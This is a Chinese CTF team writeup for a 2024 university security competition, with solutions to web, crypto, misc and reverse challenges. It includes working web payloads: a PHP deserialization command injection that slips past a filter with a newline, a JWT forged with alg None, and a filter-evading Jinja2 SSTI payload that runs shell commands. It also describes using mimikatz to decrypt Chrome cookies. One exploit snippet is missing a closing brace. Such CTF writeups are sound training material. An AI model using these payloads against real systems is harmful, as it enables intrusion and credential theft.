Second CertStone

2024年郑州大学“奇安信杯”网络空间安全竞赛 what can i say 队伍 Writeup

2024-08-23 · 6 min read

WEB

pingwhere

// 题目代码
<?php
class ping {
    var $ip;
    function __toString(){
    $this->ip=trim($this->ip);
    $substitutions = array(
        '&'  => '',
        ';' => '',
        '|' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );
    $this->ip = str_replace( array_keys( $substitutions ), $substitutions, $this->ip);
        system('ping -c 1'.$this->ip);
    }
}
class info {
    var $file;
    function __wakeup(){
        if(file_exists($this->file)){
            var_dump(filesize($this->file));
        }
    }
}
$O = unserialize($_GET['input']);

show_source(__FILE__);

实例化一个info对象,利用__wakeup()其中的file_exists()来触发ping类的__toString()方法;

注意到$ip的值经过了一轮替换,尤其是;被过滤了;这里使用%0A代替

另外,由于trim()将字符串前后的空格消去了,使用<>代替,以隔开'ping -c 1'和输入的内容

exp :

<?php
class ping {
    var $ip;
class info {
    var $file;
}

$a= new info();
$a->file = new ping();
//$a->file->ip = '<>127.0.0.1?ls';
$a->file->ip = '<>127.0.0.1?cat flag_a6s7d8f9.php'; // 生成序列化字符串后将“?”的位置用%0A代替
echo urlencode(serialize($a));
Snipaste_2024-05-19_20-53-08

py一波吧

SSTI+JWT

先随便输入一个用户名密码,得到jwt格式:

{"alg":"HS256","typ":"JWT"}.{"username":"admin1"}.signature

因为服务端没有强制指定签名算法,修改algNone,并将username数据设置为admin,编码回去得到

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.

把token换上去,就可以进入SSTI流程了。

SSTI过滤了:'、os、system、[]

Jinja2对与不存在的对象有一个特殊的定义Undefined类,<class 'jinja2.runtime.Undefined'>

通过构造title={{vvv.__class__.__init__.__globals__ }}就可以搞事情了,发现有个eval

不能用[]可以使用.get()绕过,被过滤的字符串可以拆分成2个字符串或者使用格式化字符串的方法。

Payload:

{{vvv.__class__.__init__.__globals__.get("__bui"+"ltins__").get("e"+"val")("__imp"+"ort__(\"o"+"s\").po"+"pen(\"cat f41321d3b61338c8d239e75d971f34a4\").read()")}}

CRYPTO

变异凯撒2

115!111!111!155!1!515!1511!151511!15555!11555!15555!5515!15555!5515!15555!55551!11555!
55551!11555!55111!11555!11115!55111!51111!55555!5515!15555!5515!15555!11111!11555!5555
1!55551!1555!55555!11155!55555!1555!15555!11155!55555!55555!15555!55555!15555!55555!55
555!11111!15555!15555!55555!11111!55555!51111!55551!5!15555!11111!55555!55551!55555!11
115!55555!11555!15555!55555

1替换为-5替换为.!替换为(空格) ,然后Morse Code

GOODTRY!676F6F64747279215F6F60744B585B68556565506650514E6054595765

后面那串拿去16进制转字符串,

_o`tKX[hUeePfPQN`TYWe

最后用随波逐流一把梭出了

Snipaste_2024-05-19_11-21-21

鉴定为凯撒Caesar密码

军事统帅

image-20240519192948601

如图

alice_and_bob

from Crypto.Util.number import *
import gmpy2 as gp

a=0xe543df8c958aa57dbaea1ec39c192e5a8b26a64fbdcb3073ba388bc189fb645afd600b25660361df4261f4d06c96196f891f66d216519fdf3141848b69c335b74c725cca30904b46d66df286241dcb0dc030c8fb461a3e269a167a0eb53edd8b1fb56f74279e3575ac3c097c176e0648ce7ae7094fcb19202770fa47db42e2247a58575e3b15e7883ea46e525a83545866bc56f94459c8973cd8637127ffa1b640832f4b9dd9d5d8f967ccd3cb2fd222b2fcdef0a253dc306b4882e7e3f68a1250eab579a98f818696f99c68baae6cdf0634f718197e47d7f1e0a4f7b251f95958632e53465ed7d414a9ab9df6687b89dd04840a52c3e0bc39d1d1753e52ce6d
b=0x9254d235f837be7093dadd7e89af96c43a919a0198b9e7f378a690fe8c655a42dffdaad9d985de77df36b1a9a192f20af40c4f14b2bd7456c98ee975ec0c92e1350f110545a1de0351e2cb0683a3b80403634fc12d0fd8b39ec70af2b1adbc73290e060d27ebbf3c7ec3934a3d6d0bd6baff1fc4ef1a59e9eb549dbfdfe6197291c2f064955841dab974ac604d4797e7667c2fd7101df03e879a93e5307248be18f01959c8e818fe98bff70fc953418ef17517d96a0b38e35e037f9cd39b6efe801f88720d9b2b4d7299dcc620eca99f8e13da58fbea7fbab2742dd6eb7de46c2951c299eaf3187b554bada1f47b8e899a93527558491610b9f018b8ea5ce921
p = gp.gcd(a,b)
n = b
q = n // p
e = 65537
c = 0x3940203d1de79f980e30497847f25ca8562493310b2953570d435fa98bc7259ea119033c0be995d0d6c1bd95575f466e06409e91c0a3d9fa3c6f9cf423b60db81e6922c14577c5828a046fa6f9d3aa7f98aba5ca35ff8d741ba6b10b7071e83935ffe8ae62d55909c78906f11e6f276dc17cc758b488da9c877080a2d0085afc0d82813a651d56bf1dafc666f0060031d441a1b10c45ad1e4fd12446ef55d5cfbafda71d593e9a35a920aea1fc490570bfe4eefcb6ace8fd6d5261ed9a46b6c80e18d338b342f901c0c97bbae06b720e4bf92830e9e0b1b101ebad3f122ab787d9a0e5d2819044585836c46e109dca5b9838b68a98e674f93be9467fcbf9fa8d

phi = (p-1)*(q-1)
d = gp.invert(e,phi)
m = pow(c,d,n)
print(m)
print(bytes.fromhex(hex(m)[2:]))

Flag: flag{real_man_wear_black_suit}

MISC

瞅啥

binwalk 检测到包含 zip (内有flag.docx

image-20240519195529552

这里使用 foremost 分离

image-20240519200120566

压缩包有密码,通过改图片宽高获得(如下图)

image-20240519200138236

打开docx文档,显示隐藏字符,即找到flag

image-20240519200400709
image-20240519200254271

幸运饼干

打开flag.zip压缩包发现里面还有一个和hint.jpg一模一样的图片,明文攻击获得压缩包密码sv@1v3z,解压得到

image-20240519203302393

发现admin.txt里有一个ntlm加密,直接解密即可

image-20240519203355198
image-20240519203434093

打开 Cookies,显然 chrome 数据解密

image-20240519203519054

利用前面的密码,使用 mimikatz 先爆出 masterkey

image-20240519203752372

然后用 masterkey 解密 Cookies 即可

image-20240519203905131

REVERSE

pyre

打开cmd,直接用pyinstxtractor解包,解包后得到文件夹

image-20240520161737778

打开文件夹,在文件夹中打开终端,利用uncompyle6对1.pyc反编译

image-20240520161949343

查看1.py,发现是个逻辑很简单的加密

image-20240520162051382

直接写脚本

EXP

c = [144, 163, 158, 177, 121, 39, 58, 58, 91, 111, 25, 158, 72, 53, 152,78, 171, 12, 53, 105, 45, 12, 12, 53, 12, 171, 111, 91, 53,152, 105, 45, 152, 144, 39, 171, 45, 91, 78, 45, 158, 8]
b = 179
flag = ''
for i in range(len(c)):
    for j in range(256):
        if j * 33 % b == c[i]:
            flag += chr(j)
            break
print(flag)

flag{2889e7a3-0d6b-4cbb-b6e9-04c0f26c9dca}

easyCrack

查壳,发现是ASpack壳,直接用工具脱壳

image-20240520162753677
image-20240520162924027

将脱壳之后的文件用ida打开,f5,发现加密函数为sub_401020,加密逻辑是flag每一个字符和0xE异或,加密的结果是hboiuFk|kGocs,直接写脚本。image-20240520163809788image-20240520163833723

flag=''
enc='hboiuFk|kGocs'
for i in enc:
    flag+=chr(ord(i)^0xE)
print(flag)

flag{HereIam}

haha

ida,f5,这里注意到大概率本题是md5

image-20240520202906288

看到有个反调试,直接绕过,在while处设下断点,然后进入动调,输入几个参数,发现v11是静态的,查看v11

img

然后把这个5D41402ABC4B2A76B9719D911017C592放入网站中解密得到flag

image-20240520203554249

flag{hello}